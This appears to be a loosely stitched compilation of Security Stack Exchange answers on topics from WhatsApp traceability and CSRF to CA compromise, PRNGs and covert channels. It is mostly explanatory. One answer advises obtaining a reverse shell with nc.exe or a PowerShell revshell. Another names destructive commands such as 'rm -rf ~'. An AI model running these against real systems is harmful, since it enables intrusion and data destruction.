Is it possible to identify the source of message in whatsapp?

Warning: This answer is pure speculation. It is also hard to get references for covert programs, but I've linked to Wikipedia pages which have some good references. I've also stayed away from examining WhatsApp's implementation, as there are several other Security SE posts discussing various aspects of it.

I hope I have matched your scenario correctly in this hypothetical:

Consider a government agency in (hypothetically) India called the Massive Surveillance Bureau (MSB). The MSB has detected that certain WhatsApp messages containing false rumours were forwarded in a sensitive area, which eventually led to a riot. What would it take for the MSB to track down the sender of the first message?

Firstly, let's look at what the MSB minimally requires to be able to perform this tracking. The MSB would need three pieces of data for all messages:

A hash of the content,
Sender identifier
Timestamp

Even if it does not have access to plaintext, but can just has a hash of the content, it can still identify the first sender of a particular message (Note that changing even a single character breaks this scheme).

Next, let's consider all of the different places that the MSB can place itself.

Scenario 1: The MSB can read all carrier traffic and even ISP traffic in encrypted form. In this case, it cannot establish item 1 -- the hash. It could however use metadata like packet size, sender IP and timestamp to roughly estimate when a message was sent to one of Whatsapp's servers. Given enough ground-work (e.g. find first sender, confiscate and investigate device forensically, interrogate owner) a reasonable assumption could be made.

Scenario 2: The MSB can read all carrier traffic and even ISP traffic in India.
This could either be manually gathered by making requests to all carriers (like PRISM) or automatically by some sort of a monitoring system (like the CMS or Tempora). Since WhatsApp relies on the underlying carrier signal, a man-in-the-middle attack is possible, whereby the MSB clones and spoofs devices by receiving the first SMS authentication message (e.g. here). Now it has real plaintext data; it can find all messages similar to the target and lookup the first one.

Scenario 3: The MSB has a backdoor with read access to WhatsApp's stored messages in a database. This is very similar to scenario 1, since the keys are not available to it; it can makes estimates based on available metadata about sender, timestamp and message size. If it had a program like PRISM, WhatsApp could intentionally setup an insecure version of the app on certain devices, making it easier to perform other attacks.

Scenario 4: The MSB has infected all mobile devices in India with malware (e.g. IRRITANT HORN. This is similar to scenario 2. The MSB now has access to all decrypted messages on-device.

Anyways, that's all speculation. Most of these attacks will still be difficult now that WhatsApp has E2EE (desribed here, analyzed here). You may find this real traffic analysis paper from GeorgiaTech useful

EDIT: Yay!


A protocol version is considered supported if you can successfully finish the TLS handshake with this protocol version. Since a successful handshake includes a key exchange which requires a cipher it does not count as successful if no common cipher can be found.


Limited JavaScript app scenario: Attack vectors and mitigation

The two biggest threats are Clickjacking and accessing the offline storage.  The offline storage maybe accessed with DOM Based XSS or if the machine running it has been compromised.  Even if your application doesn't use GET/POST/Fragment as input,  one of your libraries might.


How plausible are cyber attack attributions between states?

Typically the methods used or the way the malware has been put together reveals something about the attacker, making this kind of attribution possible. It's not so much about the geological location but the people or entities behind the attack.
However, it gets more complicated as nation state actors have so much more resources. Having the intelligence to recognize these patterns they can also frame other countries to hide their tracks. A good example of such is in Darknet Diaries Ep 77: Olympic Destroyer (transcript):

It was just a kind of tingle of forensics with clues pointing in every
direction and as soon as you thought that you had come to a
conclusion, there was another hypothesis to undermine it. There was
just a kind of unprecedented scenario where it seems like the hackers,
instead of trying to simply cover their tracks, they had built-in
tracks pointing in every direction at once.

(This quote was picked to prove the point without spoiling the episode i.e. who was behind it and how they finally came with that conclusion.)


Do poeple need to target a site specifically with CSRF attack

A cross-site request forgery attack is only possible if a particlar type of vulnerability on the target website is present, e.g. a missing form submission token. If such a vulnerability has been identified, it can be used to attack a user of the website (not the website itself) which requires a degree of interaction from that user.

The attacker has to make the user trigger the CSRF vulnerability (like you similarly have to make a user trigger an XSS vulnerability). In a basic scenario, the attacker creates an own website that sets up the CSRF attack and send a link to the victim. If the victim falls for the trap and visits the attacker's prepared page, they unwittingly perform a request to the target website in the background which causes an unauthorized action, like involuntarily changing their password.

Every CSRF attack has to be tailored to the specific target and the particular vulnerability. It's not like a DoS attack which you can basically run against any system. It's also a client-side vulnerability that targets a user, not the server itself. The notion of a "website attacking another website" doesn't really apply.


Edit for the pcap: my theory does not hold; the other points are still valid.

I will keep my original, speculational, answer, but TL;DR: if resources are loaded via http, such a warning is warranted.

As the comments go, this seems to be a warning about non-https resources used on the website. This might trigger warnings of that kind and for a good reason:

If scripts are loaded in such a way, a man in the middle can inject scripts that compromise every interaction with such a website (and even more, in case of an exploit being available to the attacker for your browser). Additionally, even other resources could lead to code being executed that was not intended to run in that context.

Now my original answer:
This might be a downgrade attack that is allowed by Microsoft.

First off: TLS has two different purposes:

to authenticate the server (and optionally the client) via a public key infrastructure.
to evaluate which encryption capabilities server and client share and choose one of them over an insecure connection.

While the server has been authenticated, it seems that the server and you have established a plain text „encryption“.

Secondly: this might be useful if the client (or server) has very limited computational capabilities. As a mean to allowing access (availability) over secrecy, this can be useful.

Thirdly, my speculation:
In this case, it is possible that bing is only allowed operation in China as long as the great firewall can look inside the traffic. Thus, Microsoft might have chosen availability over secrecy, making use of the plain text option to allow for deep packet inspection by the GFC.


What is the best way to detect when a user circumvents logging by temporarily embedding a YouTube video into PowerPoint?

When a video is embedded in a document, the browser is the document application, here PowerPoint. So it is perfectly normal that it does not appear in the browser history. But if you use an outgoing proxy, it should appear in the proxy logs, with a reference to the machine that downloaded it. From there on, it should be possible to detect unexpected videos and who whatched at them.
It is often enough to explain students that they are not anonymous when whatching videos and that their parents will be informed to have them stop it... Additionally, explaining them that anonymity in Internet is not as trivial as they think, and that not only the schoool but others like their future employer could search their past activity would be very profitable.


Yes.  Most symmetric-key encryption algorithms support a streaming mode, where you encrypt the message incrementally as it arrives.  This includes CTR mode, CBC mode, and most other modes.

Similarly, most message authentication codes (MACs) support a streaming mode of operation when generating the MAC.  On the other hand, when verifying a MAC, while you can process data in a streaming fashion, you cannot check whether the MAC is valid until you've processed all of the data, so you cannot act on the contents of any chunk until you've received them all and verified the MAC on the entire file is valid.

In your situation, there's another solution that's probably simpler: encrypt each chunk of data as soon as it arrives, and store all of the encrypted chunks.  When you want to decrypt, decrypt each chunk, then concatenate the results.  If you follow this approach, make sure to include a sequence number and the filename in each chunk, so that they cannot be re-ordered.  Also, make sure to use authenticated encryption (as always).  This approach is probably simpler and thus may be a better match for your needs.


The encryption isn't your problem as most C# encryption examples will do the right thing with the CryptoStream class. But after quick look at the CodeProject article that you linked, I can say with certainty that you had better not use the code as presented. I will list the problems in the order they appear in the code.

private void EncryptFile(string inputFile, string outputFile)
The encryption method takes a path name. That means that the files will be on your file system in an unencrypted vulnerable form until it is encrypted by this method and deleted. It should be encrypted in server memory as it is being pulled through the connection before touching any storage device!
string password = @"myKey123"; // Your Key Here
UnicodeEncoding UE = new UnicodeEncoding();
byte[] key = UE.GetBytes(password);
What the hell? The password should never be used directly from the raw string! It should be hashed with something secure!
CryptoStream cs = new CryptoStream(fsCrypt, RMCrypto.CreateEncryptor(key, key), CryptoStreamMode.Write);
Why is the initialization vector the same as the key? There is a method for that: RijndaelManaged.GenerateIV();
catch { MessageBox.Show("Encryption failed!", "Error"); }
If you are running that on a server without a user interface, that's going to cause problems. But the bigger problem is that this catch block isn't specific enough to determine how to handle the problem! See Best practices for exception management in Java or C#.

That aside, the other potential weakness is how you generate your keys, where you keep them, and how access to the keys are controlled.

In your case, who keeps the keys to the ciphertext: you or the customer or both? If you have the keys too, you will need to figure out how an attacker that has broken into your server and gotten your ciphertext will not also have your keys.

Your best bet is to store the encrypted data on the server with the encrypted key. The key itself should be encrypted using the user's credentials. That way, the server can only decrypt the data and send it to the user when the user logs in and decrypts the key with the password and the server can encrypt and decrypt the data with the decrypted key until the user logs off, at which point the key should be deleted from memory. If you implemented this system and your data was stolen, the attacker would have a set of encrypted keys (which are useless until decrypted with the customers' password) and blobs of encrypted data (which are also useless without the decryption keys).


The audience for that guidance is QSAs- Qualified Security Assessors- whose job it is to appear onsite, examine documentation, interview personnel, and perform other audit-related activities to ensure they are comfortable issuing a reporting indicating the company is PCI compliant.

In terms of the specific proof- the auditor will decide what evidence to consider- whatever documentation you have, configuration, log files- in determining whether you meet the standards. They should provide some direction to you regarding the specific pieces of evidence they need to see.

Higher level, as a service provider whose customers have to be PCI compliant and whose engagement with those customers exposes systems you control to your customers card data environments, you have to have your own PCI compliance documentation- either your own Report on Compliance provided by an auditor, or, should your customer transaction levels be low enough, a Service Provider Self Assessment Questionnaire. That documentation gets provided to customers as evidence when they go through their own PCI audits. Customers should not be coming to you for answers on specific questions on their own compliance.


Can windows passwords be recovered from the windows pagefile?

I think this journal paper answers your question -> http://iosrjournals.org/iosr-jce/papers/Vol16-issue2/Version-5/C016251116.pdf

However, if an attacker(A) has unrestrained physical access to the PC, he can cause a lot of damage.  If A is masquerading as a computer help person, A could easily break into computers, wipe the BIOS password and then boot off of a CD/USB to install malware into the boot sector on HDD/SSD in the computer.

A could also do a cold boot or soft boot attack on the RAM to get its contents, but A wouldn't switch two RAM pieces. Switching SSD's/HDD's would make sense since they both store data, but changing the RAM doesn't do anything really.

If the computer is able to be physically compromised, that means there is an egregious security flaw that needs to be fixed immediately.

It is good to wipe the pagefile.sys though as it does mitigate any possible information leak, and allows a network admin to possibly notice the infected computer before it messes with the network.


Covert Channels Exploit and the Bell-LaPadula MAC Model

If I understand your question correctly, the point that is shown in your example is that even without direct read access to the data being written, you can create covert channels that could theoretically leak information.

Say I am a spy and managed to get a high security clearance with access to Top-Secret Data. I want to somehow copy this data and send it to my government. With a BLP security system I can only write data up, meaning I cannot try to write the data and lower its security level. Equally, my junior collaborator spy (with security clearance Secret) cannot read data that is written up (on Top-Secret).

The covert channel that can be established here according to your example, is in a form similar of a side channel attack. Lets say the collaborator in security clearance Secret cannot read the data, but can gain access to meta-data stored about the files or database tables where the top-secret information is stored. This data might be low-classified, since it doesn't contain any real confidential information. The spy on top-secret can construct a pattern of changes to data, which itself decodes to a covert message.

As a simple example, lets say they agreed on morse-code, and that changes to column A in the database table == dot ; changes to column B == dash; The spy can create a sequence of writes to the tables, that will be decoded by the collaborator on the lower level into a message. All the collaborator at the lower clearance level needs is access to the timestamps of changes to columns A and B in the table. This (timestamp data) in itself could usually be considered unclassified, or certainly discounted as having no real security value.


The Perfect Mousetrap - Can a sandbox system be designed such that it's identical to an actual computer?

Yes, it can be done as (theoretically) every "computing device" is computationally equivalent to every other computing device. Look up the Church-Turing thesis if you are interested.

However your question is grounded in practice and in this case the answer is "yes, but it would cost too much". Effort in virtualisation today aims at speeding up the virtual environment as much as possible to the point where it is quite trivial to detect if you are running in a virtual machine. Which means that any effort in replicating a system running 100% "native" is limited by the number of people with your same interest.

In other words there is very little commercial interest in doing what you are aiming for and the ROI would be limited only to the few hobbyists and companies that have a vetted interest in the matter. How much would you pay for such system? How much time can you devote? How many people do you know that are willing to spend years on this project?

While there are efforts to research this I haven't yet seen a fully working system that's not terribly slow. For example, Skype employs anti-debugging techniques that detects slowdowns (see slide 30 of this presentation). I suspect any malware could do similar tricks to measure execution against a fixed time server and detect when it's running in a (necessarily slow) emulator.

I think that a different approach would be more economically sound: run the malware sample on an actual machine, and observe what happens. Then "ghost" its disk and memory and look at the differences with an identical, "clean" sample. It might take less time to do, overall, than developing a simulator like the one you have in mind.


ICMP was designed to help determine characteristics of the network. PING is an application of ICMP.

ICMP has two modes of operation:

Query the network by requesting packets and interpreting the answer
Report non-transient error conditions through error messages

The errors are produced in special conditions such as:

Network is unreachable: this would help map the network.
Host is unreachable: would show what hosts are online
Protocol unreachable: shows what protocols are supported
Port unreachable: some servers would indicate through this error message that no process is listening on that port
The datagram is too big: would show what technology is used in the network.
And many others, for example to differentiate between the Linux kernel and that of the networking device, ICMP Error Quoting size fingerprinting method can be used.

By using ICMP messages and errors it is possible to gather substantial information about the network:

Host Detection
Network Topology
ACL Detection
Packet Filter Detection
OS Fingerprinting

ICMP error messages are not typically involved in directly attacking the network but would greatly help an attacker understand more about the network and know how and where to attack. Therefore this information should not leave the network because it should not be available to people outside the network.


Does (online) poker require cryptographically secure randomness?

Here is the cryptographer's point of view. The person you quote says: "you don't need a cryptographically secure PRNG", but what he actually claims is "when I use MT 19937 and do some mumbo-jumbo such as throwing away a large part of the output, it somehow becomes a cryptographically secure PRNG".

His comment about storing "(219337-1)*4 bytes for lookup" is enough to demonstrate that he is not very clear in his head about what security, cryptography, randomness and unpredictability actually are. This figure is the "period"; the period was used in (very) older times as a measure of security, because known PRNG from that time had very small periods, to the point that repetition did occur in practice. This engendered a whole family of non-crypto PRNG where designers where trying to overawe their competitors by flourishing the longest possible period. This makes no real sense from a cryptographic point of view. Security of a PRNG is about unpredictability, and a very short period is an issue only because it allows future output to be predictable. AES used in CTR mode is a PRNG with a period of 2135 (bits), a figure much lower than 219337-1, and yet not a problem at all.

The "throwing away of large and unpredictable amount of output" also illustrates the confusion. Removing bits from the output may hide some state leakage from a weak PRNG; this can even turn a weak PRNG into a strong one, as studied with the shrinking generator. However, it does nothing about seed predictability; indeed, if some of the output is "thrown away", then there is a mechanism which decides what to keep and what to throw away, and that mechanism is also part of the PRNG. If all of this is seed with the current time, then exhaustive search on the possible "current time" values will be efficient (current time is not a secret) and will unravel the whole thing.

However we may argue that though MT is not cryptographically secure, this does not mean that making an effective attack is easy. There are three types of PRNG:

The awfully weak algorithms, either through very poor processing (leaking the internal state), or predictable seed, or both. These are broken in practice.
The "cryptographically strong" PRNG, which resist attacks even in the ludicrous conditions that academics assume (an academic will consider an algorithm as "broken" if it claims 128-bit security but offers only 2123.4 resistance).
The grey zone in between: broken as per academics, but a practical attack is not immediate.

With his Mersenne Twister, he is in the grey zone, and he believes that his voodoo manipulations will keep it that way. It is entirely plausible that he could also convince an auditor that voodoo works. This in no way implies that the algorithm is secure; only that an auditor was ready to sign a paper claiming that the algorithm fulfils some legal requirements. At that point, it is a good thing to remember that some other auditors found it fit to sign papers claiming that Enron was a financially sound and clean venture: this helps to put things into the right perspective.

From what he describes, chances are that the initial seed is time-based, and the actual security relies entirely on the non-publication of the algorithm details. That's security through obscurity at its best (or worst, depending from the point of view).


Sonar power saving. Attacks and how to mitigate

First, understand that the microphone can't be used as a malware vector without a program actively interpreting the data being received by it.  You can bleep all you want, but unless some kind of program is listening, reading, and processing the digitized input from the mic, there's nothing entering your computer to perform an exploit.

If you have malware audio somehow floating around in the air near your microphone, you've got an attacker that's very nearby.  The wolf has already entered the barn, and is eyeing the sheep.  But let's move on to the next part and assume that you have untrustworthy people near your microphone, perhaps sitting next to you in a coffee shop.  Now what?

Low level OS or Analog Audio App

If you have some low level hardware or OS program reading the information from the audio digitizer, you have the potential for malware as you would from any unchecked input source.  For example, perhaps you have a microphone level utility.  It's possible that certain kinds of input could cause a buffer overflow.  The problem with using this directly as a vector is that an audio signal is highly variable.  Malware needs to send machine instructions, not words and phrases or tones.  If you want the victim to receive exactly the bytes of 58 35 4f 21 50 25 40 41 50 (an example from the EICAR pattern) then you have to make a very precise sequence of sounds to make the microphone vibrate in that pattern.  But such a sound would be affected by the distance from the speaker to the mic, dampened by a piece of paper, echoed from a tabletop, masked by a vent, or echoes suppressed by a nearby person's body.  Plus, there's no feedback to the malware to tell it if it's close or far.  The normal background sounds of a coffee shop would suppress any such attack.

This also requires a very badly coded app, one that doesn't actually work.  All such simple programs of the type that paint a continuous line level on the screen would fail quickly if they actually had a buffer overflow problem.

So for a low level attack, you're still very safe.  It is highly unlikely that malware could successfully be injected under ideal conditions, let alone the real world.

Interpreting audio app

Let's say you have an analog listening program that is actively parsing data and attempting to use it.  The sonar program you mentioned would be an example, but perhaps you have a touch-tone listening app - (something like Skype, perhaps?)  Certainly, DTMF tones could be interpreted by the victim's computer.  They'd also be audible to the user.  I suppose it's conceivable that an attacker could get your Skype to call a +1-900-SPEND-MONEY number after you dial a credit card service.  But could he realistically touch-tone in a full buffer overflow attack?

A related attack might come from exploiting Shazam.  An evildoer could register a malware link with Shazam for a certain piece of audio, and when the interested Shazam user taps the button to "learn more", his browser travels to the infected site.

Another possibility could come from Siri.  Perhaps your attacker can convince Siri to open some kind of malware link to infect your phone.  Again, not particularly realistic, but it's a potential vector.

Digital audio app

So let's move to the case where you have software that is actually listening for digital audio communications.  Shopkick comes to mind, as many people have it installed on their iPhones.  Yes, it's technically possible that such an application is badly coded and could permit an attack through the mic. But it's somewhat more likely that a digital attacker would be more successful at masking or confusing the audio than actually finding a bug to exploit.

Digital audio malware app

If the story was true, the BadBIOS attack is malware that is actively using ultrasonic sounds to communicate between machines.  Of course, if you already have malware on your system, you already have malware on your system!  The wolf not only entered your barn, but he ate your sheep.  There's little point in worrying about the communication vector of the malware, because your system is already owned by someone else.

Ultimately, I don't think there are a lot of risks you're taking by using audio applications.  The highest risk of any of these activities is likely downloading sonar from a random source on the web.

Bottom line - what is the highest risk?

The highest risk of all is that you could live in irrational fear of random ultrasonic beeps, and so miss out on the advantages you might gain from using digital audio applications.


Low level attacks on WLAN/LAN connection while connected to VPN

Based on your answers, comments, and my general basic understanding of the topic, I'll try to add my own answer here (Note: More answers and comments are very welcome - correct me especially, if my assumptions are wrong.)

@symcbean puts it in a nutshell:

  VPNs only address confidentiality and integrity - not availability.

Availability can either be compromised by disrupting the network: WiFi jamming, flooding the LAN, faking IP or MAC addresses to e.g.

redirect to a different DNS (which doesn't impact confidentiality/integrity, if the VPN is fully set up, but it can impact availability before it's set up)
redirect to a different gateway (still doesn't impact confidentiality/integrity, but does impact availability)
...

But what's more important: "Availability" of the VPN can be compromised by hacking your laptop on a low level - and many sets of attacks that you're exposed to when you connect to an unprotected network will still work when you tunnel through the unprotected network with VPN. And of course, once you're hacked, availability won't be the only problem...

It's not entirely clear, how likely these attacks are (and this would be a very interesting question!), but the thing that worries me most, is that this topic is never ever mentioned by administrators when they give out VPN access. Generally, an attitude of "it's okay to connect to the most unreliable and dangerous networks in the world - as long as you're using a secure VPN setup, you're safe" has evolved, and it's hard to convince anybody, that security of the VPN is not the only concern!


Is there a possible security advantage to using a non standard port for ssl/https?

Having a different port is security by obscurity. While this is bad to be used as the main protection it can be useful as an additional protection, like to avoid the usual vulnerability scanners in their default settings.

But how much additional protection is actually achieved is questionable: if the site is private one can keep the port kind of secret. But if the site should be publicly available like in your case then the alternative port cannot be kept secret. This means that there is no real obscurity in the case and thus also no security gained by obscurity.

While one might be able to avoid some dumb scanners this way the security benefit is small. On the other side one will have trouble with corporate firewalls which might block access to this alternative port, thus preventing customers from visiting the site.


Inconsistent behavior while attempting to exploit a misconfigured flash crossdomain.xml

Like they always say, the devil was in the details.

The request for https://victim.com/crossdomain.xml did not respond with a crossdomain.xml immediately, instead there was a redirect to https://www.victim.com/crossdomain.xml. This disabled further requests to the domain.

Changing the target URL to
http://www.victim.com/a?secret=test
and
http://www.victim.com/someaction.html resolved the issue for me.


What port services can hackers use to break into a server?

You're confusing ports, services, vulnerabilities, and exploits. So here is an analogy based on a house. You have a house (server) on a street. That house has three doors (ports), which lead to different places (services). Just because you have doors (ports), doesn't mean someone is going to walk in and steal your jewelry. Ports are opened because a service needs them to be opened for interconnection between a client, and a server. Not all services are vulnerable, and even those that are vulnerable, aren't exploitable.

For example, in the house analogy, having a door is a vulnerability however, having a door which leads to say another locked door in a foyer removes the exploitability of a thief getting ahold of your jewelry. There can be other parameters: A thief GETS IN the door, but is now trapped in a foyer, and also staring down a vicious dog (honeypot, jailed environment). Get the picture?

If you're concerned about running a webserver, spend some time looking at the versions of software you're going to use, then look for exploits, and or vulnerabilities at NIST using a CVE search. Otherwise the approach you are taking is wrong. Just because you have a house with windows, doesn't mean someone is going to, or can break them, walking away with the keys to the kingdom like Ocean's Eleven


Joining a Windows computer to an ActiveDirectory domain is a trade off.

Pros:

Client management via Group Policy Objects (GPOs)
Single sign-on access to resources and services
Credential recovery (admin can reset your password)

Cons:

Lack of autonomy
Need to be attached to the network or on VPN for first authentication (can be cached afterwards)
Transitive trust attacks (compromise endpoint, pivot into services or systems, cryptolock shared file systems)

Client management and single sign-on are very significant advantages in a workplace or institutional environment.  Managing clients individually rapidly becomes unmanageable even with small numbers of deployed workstations.  Inconsistency breeds problems and undocumented vulnerabilities.  Client management allows you to enforce aspects of your written security policy such as password complexity, local firewall rules, and software restrictions.

Single sign-on is significantly advantageous as well.  It means being able to centrally manage the authentication of services allowing staff to either log in once (ideally) and have their credentials provided transparently to all integrated corporate resources.  Without this you get a proliferation of credentials managed (likely poorly) by the individual services and users reusing the same passwords leading to compromise.

Credential recovery is a big one too.  Without it a staff person could be left without access to their workstation and may lose work.

I think the security consequences of unmanaged workstations outweigh their benefits.  Exceptions should be made for staff members demonstrating a dedication to defined security policies and a willingness to hand their machine over to be audited.  One size fits all will annoy people and encourage non-compliance.


What is the point of an attack using spam without any URL or attached file

It's a Nigerian email scam (as @Sravan commented).

If you contact that email the scammer will promise you a lot of money and ask for a small fee for document copies, then a little more for document authentication, and the sky is the limit.

People often fall for this scam because it seems too easy to wire 10 dollars someone and hope something will come out of it. The scammer keeps asking for small quantities for bureaucracies, and promising the fortune will be release soon. As 10 dollars turns into hundreds, the victim keeps sending more money out of fear of ruining their initial "investment."

If you want to read funny stories, go to 419eater.com and read the emails real people used to play with the scammers.


How do attackers achieve to compromise a CA?

There is no need to get access to the CA's private key in order to get a certificate issued. The CA probably does not have access to the private key either, especially if it was created inside the smartcard or HSM itself.

Instead fraudulent certificates gets issued by the CA because

The attacker makes the CA believe that he is the owner of the domain:
This can be done because of the automatic validation of domain ownership in DV certificates. This validation is usually done by implementing some challenge-response methods using special e-mail accounts, special path of the webserver or DNS records in the owners domain. Compromise is thus possible if the attacker gets access to specific mail accounts in the domain
like in the case of
live.fi.
It can also be done by making the CA believe in a different contact
email for the domain like in case of Comodo OCR
problems.
DV validation can also be tricked if the attacker manages to
compromise the original site to attack webserver path validation or the sites DNS to attack DNS record validation.
Third parties violate usage constraints for CA's issued sub-CA:
This happened for example in the cases of a french sub-CA which was used for SSL interception and issued certificates (among others) for google.com.
Bugs in the CA processes:
like in case of TURKTRUST which accidentally issued sub-CA certificates instead of normal certificates, which then could be used to issue new certificates for arbitrary domains.
Compromise of the CA itself:
This happened in case of DigiNotar where the attacker managed to get deep access into the infrastructure of the CA. The final report (PDF) about this attack points out that it looks like where DigiNotar where having the private key in the smartcards active for automatic transactions, i.e. not every smartcard transaction would have to be explicitly authorized. This probably allowed the attacker to sign it's own certificates without having physical access to the system and without having the private key.


Is it acceptable to have SPA + API from security point of view?

It depends on the security features you have planned to implement in the proxy layer. From your description it sounds like a more or less transparent facade pattern, which wouldn't add too much in regard to security anyway. But I might be wrong, so let's dig deeper.
What are typical security features on such a proxy layer:

Only exposing a defined set of API endpoints
Implementing a rule-based application level firewall
Implementing centralized security monitoring
TLS offloading (which might protect against certain DoS attacks)
Injecting security features (e.g. authentication & authorization)
Protocol translation

Please note that this is not a comprehensive list but just some examples. What you really need depends on your actual threat model.
If you have planned to implement any security feature on the proxy layer that you are not going to or simply cannot implement in the new architecture, you will have to go through a risk acceptance process. Which threats would those mechanisms have addressed and are now left without mitigation?
No random person on the internet can decide if the residual risk of missing out on a specific security mechanism fits the risk appetite of your company. The real question you must ask yourself is not "is pattern A better than pattern B", but "which security mechanisms am I actually missing when implementing pattern B instead of pattern A and how does this influence my risk landscape".


What motivates wi-fi adapter-manufacturers to not allow MAC address changes in Windows?

Microsoft is doing this to reduce hacking and MAC conflicts on public wireless networks. Let's say you go to a coffee shop and connect to their wireless network. If you have the right tools you can scan the network and find out every devices MAC address currently connected to the endpoint. If you want you can take one of the MAC addresses and switch it with yours. To do any real damage you would need to get into the router and update its ARP (Address Resolution Protocol) table. Although this would require a pretty sophisticated attacker, Microsoft does not want to take the risk. Hope this helps!


Cannot execute program with Meterpreter on target OS

If you have access to the box, then check out the event viewer for any log statement that might give you more information.

If your executable is malware then I would substitute it with some benign executable and check if you can execute it, if this is the case either application whitelisting or some antivirus is blocking your execution.

If your executable is interactive then it might be executing but you are not seeing anything or if the meterpreter session is not an interactive Windows session logon you might not even be allowed to execute it.

Sometimes meterpreter gets confused with the paths. I've always found more reliable to start a shell and then execute cmd.exe /c "/path/to/helloworld.exe"

If nothing above works, try other ways of getting a revshell except meterpreter; use nc.exe or any powershell revshell (nishang is pretty good).

Also, always use an absolute path when executing custom executables in Windows. It will save you a lot of trouble.

Finally, make sure that the executable was compiled against the same architecture than the target computer and that you are using a Windows account that has enough privileges to execute that executable.


environment variable accessibility in Linux

Let's trace the flow of the confidential data. In this analysis, it is understood that anything Alice can do, root can also do. Also an external observer “one level up” (e.g. with physical access to snoop on the disk bus, or in the hypervisor if the code is running in the virtual machine) might be able to access the data.

First, the data is loaded from a file. Assuming that only Alice has read permission on the file and the file is not otherwise leaked, only Alice can call cat /home/alice/fav_food.txt successfully. The data is then in the memory of the cat process, where only that process can access it. The data is transmitted over a pipe from the cat command to the calling shell; only the two processes involved can see the data on the pipe. The data is then in the memory of the shell process, again private to that process.

At some point, the data will end up in the shell's environment. Depending on the shell, this may happen when the export statement is executed, or only when the shell executes an external program. At this point, the data will be an argument of an execve system call. After that call, the data will be in the environment of the child process.

The environment of a process is just as private as the rest of that process's memory (from mm->env_start to mm->env_end in the process's memory map). It's contiguous with the initial thread's stack. However, there is a special mechanism that allows other processes to view a copy of the environment: the environ file in the process's /proc directory (/proc/$pid/environ). This file is only readable by its owner, who is the user running the process (for a privileged process, that's the effective UID). (Note that the command line arguments in /proc/$pid/cmdline, on the other hand, are readable by all.) You can audit the kernel source to verify that this is the only way to leak the environment of a process.

There is another potential source for leaking the environment: during the execve call. The execve system call does not directly leak the environment. However, there is a generic audit mechanism that can log the arguments of every system call, including execve. So if auditing is enabled, the environment can be sent through the audit mechanism and end up in a log file. On a decently configured system, only the administrator has access to the log file (on my default Debian installation, it's /var/log/audit/audit.log, only readable by root, and written to by the auditd daemon running as root).

I lied above: I wrote that the memory of a process cannot be read by another process. This is in fact not true: like all unices, Linux implements the ptrace system call. This system call allows a process to inspect the memory and even execute code in the context of another process. It's what allows debuggers to exist. Only Alice can trace Alice's processes. Furthermore, if a process is privileged (setuid or setgid), only root can trace it.

Conclusion: the environment of a process is only available to the user (euid) running the process.

Note that I assume that there is no other process that might leak the data. There is no setuid root program on a normal Linux installation that might expose a process's environment. (On some older unices, ps was a setuid root program that parsed some kernel memory; some variants would happily display a process's environment to any and all. On Linux, ps is unprivileged and gets its data from /proc like everyone else.).

(Note that this applies to reasonably current versions of Linux. A very long time ago, I think in the 1.x kernel days, the environment was world-readable.)


Creative vulnerabilities in unix eval command

I think you've missed the point of this question. Given the wording of the question, the person who set the exam might not have been very clear on the threat model, unless there's some additional introduction material for this question that you didn't quote and that provides more context.

What you posted is a program which takes one argument, a string, and executes this string as a shell (/bin/sh) program.

The key point is in what context this program is called. There are plenty of programs that execute their argument as a shell program or as an external command, starting with sh itself.

If the program is called in the same security boundary as the entity that decides the argument, there is no security implication since no security barrier is crossed.

If the argument is chosen by an entity outside the security boundary that runs the program (for example, if the program is executed with extra privileges through sudo, or if the argument is read from an external user over the network), then this is a trivial injection. There's no need to be creative: you can put absolutely any code you like in there (you just need to express it in shell syntax). You can access all the files of the user who is running the program, modify them and add new ones, execute whatever programs you want, make use of any available network connection, etc.

Whenever you can execute arbitrary code in a privileged context, you've won. rm -rf / is actually not going to work unless the program is running as root on a system which doesn't have ad hoc rm -rf / prevention. Something like rm -rf ~ (remove all the files in the user's home) would be more useful if you want to cause harm. But usually attackers are after more productive things, such as reading the files stored on this account or the databases that it has access to, planting a backdoor to be able to regain access later, sending spam or generating bitcoins, and so on.


Resources for building a network security curriculum

Have you looked into the CyberPatriot program?  http://www.uscyberpatriot.org/Pages/default.aspx  It's a "secure the platform" high school competition that focuses on defense instead of offense.  It's all set up and ready for schools to get involved.

For training, they provide virtual machine images that students can learn on and practice securing.  The installations are full of known exploitable flaws, with default passwords, open ports, inappropriate ACLs, guest accounts, extra services, unpatched web servers, all that kind of stuff.  Offense takes place from a black box service that attempts to exploit the system, and provides a score to tell you that you secured 15 out of 80 known holes (or whatever).

For the contest, they provide encrypted virtual machine images that you download in advance.  At the start of the contest, the teams are given the decryption keys, and then have a set amount of time to secure as many problems as they can find before the scoring agent is set upon them.  The different stages of the contest have increasingly difficult tasks:  round one might be to secure a Windows XP box, the next to secure a Windows 2008 server, and the final might be to secure a Linux/Windows network consisting of three servers.  The competition is nationwide, with the final qualifying teams getting to travel to the national competition.

The black box attacker approach puts the emphasis on defense, and keeps the contest focused on practical application of the knowledge, rather than being a training ground for hacking.  You still need to know what a SQL injection attack is, and how it works, but you don't have to practice them, and your team gets no points for being good at them.

It's already over for the 2012-2013 school year, but you can preregister a team or a school for next year.


How does separating concerns into separate processes (without enforcement) help security?

(Note that I know nothing about the design of OpenBSD ntpd, I'm just answering the generic question about separating processes.)

From your quote, I gather that the separation the UDP process from the DNS process was not motivated by security concerns, but by architectural concerns: “because... it's... it just didn't make sense”. The UDP process and the DNS process react to completely different events. If they were in the same process, they'd use separate threads (either explicitly, or implicitly with an event loop around a select call). Since the UDP process and the DNS process operate independently, putting them in the same process would complicate the design, hence by default they are in distinct processes.

If the NTP server had been designed as a single process then the design would have had to accommodate the different interaction patterns of the subsystems. Then threads would have made sense. But if there's process separation anyway, then grouping unrelated subsystems in the same process complicates the design.

Nonetheless, there can be security benefits from having separate processes. One benefit is that not all exploits allow the attacker to execute arbitrary code. Some exploits only allow localized data corruption, or the exposure of some secret data, or can cause a crash but always in a controlled way (e.g. only a null pointer dereference and not an arbitrary pointer dereference). Even if a vulnerability does allow arbitrary code execution, sometimes writing an exploit is complicated, and making exploits more complicated buys the defender time to fix the bug and deploy the updates.

Even if a vulnerability allows arbitrary code execution in a process, OS-level mechanisms might confine the process. Even before pledge, OpenBSD allowed an OS-wide restriction on ptrace, which should be enabled on a production server. A process running as nobody can't directly harm other processes if it can't ptrace them. The attacker would have to find some indirect means, and while opportunities for DoS abound, a breach of the DNS would not allow the attacker to generate fake NTP traffic, for instance (it wouldn't be able to bind the port).


